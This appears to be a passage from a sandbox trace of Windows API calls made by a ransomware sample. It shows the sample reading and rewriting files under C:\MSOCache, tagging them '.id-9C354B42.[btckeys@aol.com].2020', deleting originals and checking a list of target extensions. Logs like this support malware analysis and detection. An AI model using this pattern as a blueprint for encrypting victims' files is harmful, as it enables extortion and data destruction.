Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0077.250] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.250] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.250] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0077.251] GetLastError () returned 0x0 [0077.251] ReadFile (in: hFile=0x1e4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0xd4200, lpOverlapped=0x0) returned 1 [0077.318] WriteFile (in: hFile=0x184, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0077.332] ReadFile (in: hFile=0x1e4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0077.332] WriteFile (in: hFile=0x184, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xf4, lpOverlapped=0x0) returned 1 [0077.333] SetEndOfFile (hFile=0x184) returned 1 [0077.333] CloseHandle (hObject=0x184) returned 1 [0077.333] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.333] SetEndOfFile (hFile=0x1e4) returned 1 [0077.341] CloseHandle (hObject=0x1e4) returned 1 [0077.499] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0077.500] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0077.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.500] lstrlenW (lpString=".doc") returned 4 [0077.500] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.500] lstrlenW (lpString=".docx") returned 5 [0077.500] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0077.500] lstrlenW (lpString=".pdf") returned 4 [0077.500] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.500] lstrlenW (lpString=".xls") returned 4 [0077.500] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.500] lstrlenW (lpString=".xlsx") returned 5 [0077.500] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0077.500] lstrlenW (lpString=".ppt") returned 4 [0077.500] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.500] lstrlenW (lpString=".zip") returned 4 [0077.501] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.501] lstrlenW (lpString=".rar") returned 4 [0077.501] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.501] lstrlenW (lpString=".bz2") returned 4 [0077.501] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.501] lstrlenW (lpString=".7z") returned 3 [0077.501] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.501] lstrlenW (lpString=".dbf") returned 4 [0077.501] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.501] lstrlenW (lpString=".1cd") returned 4 [0077.501] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.501] lstrlenW (lpString=".jpg") returned 4 [0077.501] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.501] lstrlenW (lpString=".doc") returned 4 [0077.501] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.501] lstrlenW (lpString=".docx") returned 5 [0077.501] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0077.501] lstrlenW (lpString=".pdf") returned 4 [0077.501] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.501] lstrlenW (lpString=".xls") returned 4 [0077.501] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.501] lstrlenW (lpString=".xlsx") returned 5 [0077.502] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0077.502] lstrlenW (lpString=".ppt") returned 4 [0077.502] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.502] lstrlenW (lpString=".zip") returned 4 [0077.502] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.502] lstrlenW (lpString=".rar") returned 4 [0077.502] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.502] lstrlenW (lpString=".bz2") returned 4 [0077.502] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.502] lstrlenW (lpString=".7z") returned 3 [0077.502] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.502] lstrlenW (lpString=".dbf") returned 4 [0077.502] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.502] lstrlenW (lpString=".1cd") returned 4 [0077.502] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0077.502] lstrlenW (lpString=".jpg") returned 4 [0077.502] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.502] lstrcmpiW (lpString1=".exe", lpString2=".2020") returned 1 [0077.502] lstrlenW (lpString="ose.exe") returned 7 [0077.503] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0077.503] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=174440) returned 1 [0077.503] CloseHandle (hObject=0x1e4) returned 1 [0077.503] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0077.503] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.503] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0077.503] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.504] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.504] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0077.504] GetLastError () returned 0x0 [0077.504] ReadFile (in: hFile=0x1e4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x2a968, lpOverlapped=0x0) returned 1 [0077.554] WriteFile (in: hFile=0x174, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0077.560] ReadFile (in: hFile=0x1e4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0077.560] WriteFile (in: hFile=0x174, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xe2, lpOverlapped=0x0) returned 1 [0077.560] SetEndOfFile (hFile=0x174) returned 1 [0077.560] CloseHandle (hObject=0x174) returned 1 [0077.560] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.560] SetEndOfFile (hFile=0x1e4) returned 1 [0077.563] CloseHandle (hObject=0x1e4) returned 1 [0077.563] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0077.563] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0077.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.563] lstrlenW (lpString=".doc") returned 4 [0077.563] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0077.563] lstrlenW (lpString=".docx") returned 5 [0077.564] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0077.564] lstrlenW (lpString=".pdf") returned 4 [0077.564] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0077.564] lstrlenW (lpString=".xls") returned 4 [0077.564] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0077.564] lstrlenW (lpString=".xlsx") returned 5 [0077.564] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0077.564] lstrlenW (lpString=".ppt") returned 4 [0077.564] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0077.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.564] lstrlenW (lpString=".zip") returned 4 [0077.564] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0077.564] lstrlenW (lpString=".rar") returned 4 [0077.564] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0077.564] lstrlenW (lpString=".bz2") returned 4 [0077.564] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0077.564] lstrlenW (lpString=".7z") returned 3 [0077.564] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0077.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.564] lstrlenW (lpString=".dbf") returned 4 [0077.564] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0077.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.564] lstrlenW (lpString=".1cd") returned 4 [0077.564] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0077.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.564] lstrlenW (lpString=".jpg") returned 4 [0077.564] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0077.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.565] lstrlenW (lpString=".doc") returned 4 [0077.565] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0077.565] lstrlenW (lpString=".docx") returned 5 [0077.565] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0077.565] lstrlenW (lpString=".pdf") returned 4 [0077.565] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0077.565] lstrlenW (lpString=".xls") returned 4 [0077.565] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0077.565] lstrlenW (lpString=".xlsx") returned 5 [0077.565] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0077.565] lstrlenW (lpString=".ppt") returned 4 [0077.565] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0077.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.565] lstrlenW (lpString=".zip") returned 4 [0077.565] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0077.565] lstrlenW (lpString=".rar") returned 4 [0077.565] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0077.565] lstrlenW (lpString=".bz2") returned 4 [0077.565] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0077.565] lstrlenW (lpString=".7z") returned 3 [0077.565] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0077.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.565] lstrlenW (lpString=".dbf") returned 4 [0077.565] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0077.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.565] lstrlenW (lpString=".1cd") returned 4 [0077.566] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0077.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0077.566] lstrlenW (lpString=".jpg") returned 4 [0077.566] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0077.566] lstrcmpiW (lpString1=".dll", lpString2=".2020") returned 1 [0077.566] lstrlenW (lpString="osetup.dll") returned 10 [0077.566] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0077.566] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=7378792) returned 1 [0077.566] CloseHandle (hObject=0x1e4) returned 1 [0077.566] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0077.567] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.567] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0077.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0077.567] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0077.568] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0077.568] ReadFile (in: hFile=0x1e4, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.576] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0077.576] ReadFile (in: hFile=0x1e4, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.633] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0077.633] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0077.634] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.678] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.678] WriteFile (in: hFile=0x1e4, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0077.995] SetEndOfFile (hFile=0x1e4) returned 1 [0077.995] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0077.995] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0077.995] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.997] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0077.997] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.999] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0077.999] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.001] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0078.001] CloseHandle (hObject=0x1e4) returned 1 [0078.001] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0078.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.001] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.001] lstrlenW (lpString=".doc") returned 4 [0078.001] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.001] lstrlenW (lpString=".docx") returned 5 [0078.001] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0078.001] lstrlenW (lpString=".pdf") returned 4 [0078.001] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.001] lstrlenW (lpString=".xls") returned 4 [0078.001] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.001] lstrlenW (lpString=".xlsx") returned 5 [0078.001] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0078.002] lstrlenW (lpString=".ppt") returned 4 [0078.002] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.002] lstrlenW (lpString=".zip") returned 4 [0078.002] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.002] lstrlenW (lpString=".rar") returned 4 [0078.002] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.002] lstrlenW (lpString=".bz2") returned 4 [0078.002] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.002] lstrlenW (lpString=".7z") returned 3 [0078.002] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.002] lstrlenW (lpString=".dbf") returned 4 [0078.002] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.002] lstrlenW (lpString=".1cd") returned 4 [0078.002] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.002] lstrlenW (lpString=".jpg") returned 4 [0078.002] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.002] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.002] lstrlenW (lpString=".doc") returned 4 [0078.002] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.002] lstrlenW (lpString=".docx") returned 5 [0078.002] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0078.002] lstrlenW (lpString=".pdf") returned 4 [0078.002] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.002] lstrlenW (lpString=".xls") returned 4 [0078.002] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.002] lstrlenW (lpString=".xlsx") returned 5 [0078.002] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0078.002] lstrlenW (lpString=".ppt") returned 4 [0078.003] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.003] lstrlenW (lpString=".zip") returned 4 [0078.003] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.003] lstrlenW (lpString=".rar") returned 4 [0078.003] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.003] lstrlenW (lpString=".bz2") returned 4 [0078.003] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.003] lstrlenW (lpString=".7z") returned 3 [0078.003] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.003] lstrlenW (lpString="C:\\MSOCache\\All 